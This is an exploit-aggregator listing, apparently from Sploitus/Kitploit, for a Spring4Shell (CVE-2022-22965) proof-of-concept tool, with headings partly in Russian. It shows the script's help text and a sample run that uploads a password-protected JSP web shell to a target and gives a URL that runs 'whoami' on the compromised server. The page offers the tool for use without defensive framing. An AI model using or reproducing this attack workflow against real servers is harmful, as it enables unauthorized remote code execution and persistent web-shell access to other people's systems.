Sploitus

Exploit for Spring4Shell-CVE-2022-22965-POC

kitploit · 2026-08-25

Exploit Code

MARKDOWN35 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AJITH737-SPRING4SHELL-CVE-2022-22965-POC
# Spring4Shell-CVE-2022-22965-POC

root@kitploit:~
    
    
    ghost㉿uchiha:~$ ./exploit.py --help                                     
    usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
    
    Spring4Shell RCE Proof of Concept
    
    positional arguments:
      url                   Target URL
    
    options:
      -h, --help            show this help message and exit
      -f FILENAME, --filename FILENAME
                            Name of the file to upload (Default tomcatwar.jsp)
      -p PASSWORD, --password PASSWORD
                            Password to protect the shell with (Default: thm)
      -d DIRECTORY, --directory DIRECTORY
                            The upload path for the file (Default: ROOT)
    

## Использование

root@kitploit:~
    
    
    ghost㉿uchiha:~$ ./exploit.py http://url/
    Shell Uploaded Successfully!
    Your shell can be found at: http://url/tomcatwar.jsp?pwd=evil&cmd=whoami
    

Модифицированная версия https://github.com/BobTheShoplifter/Spring4Shell-POC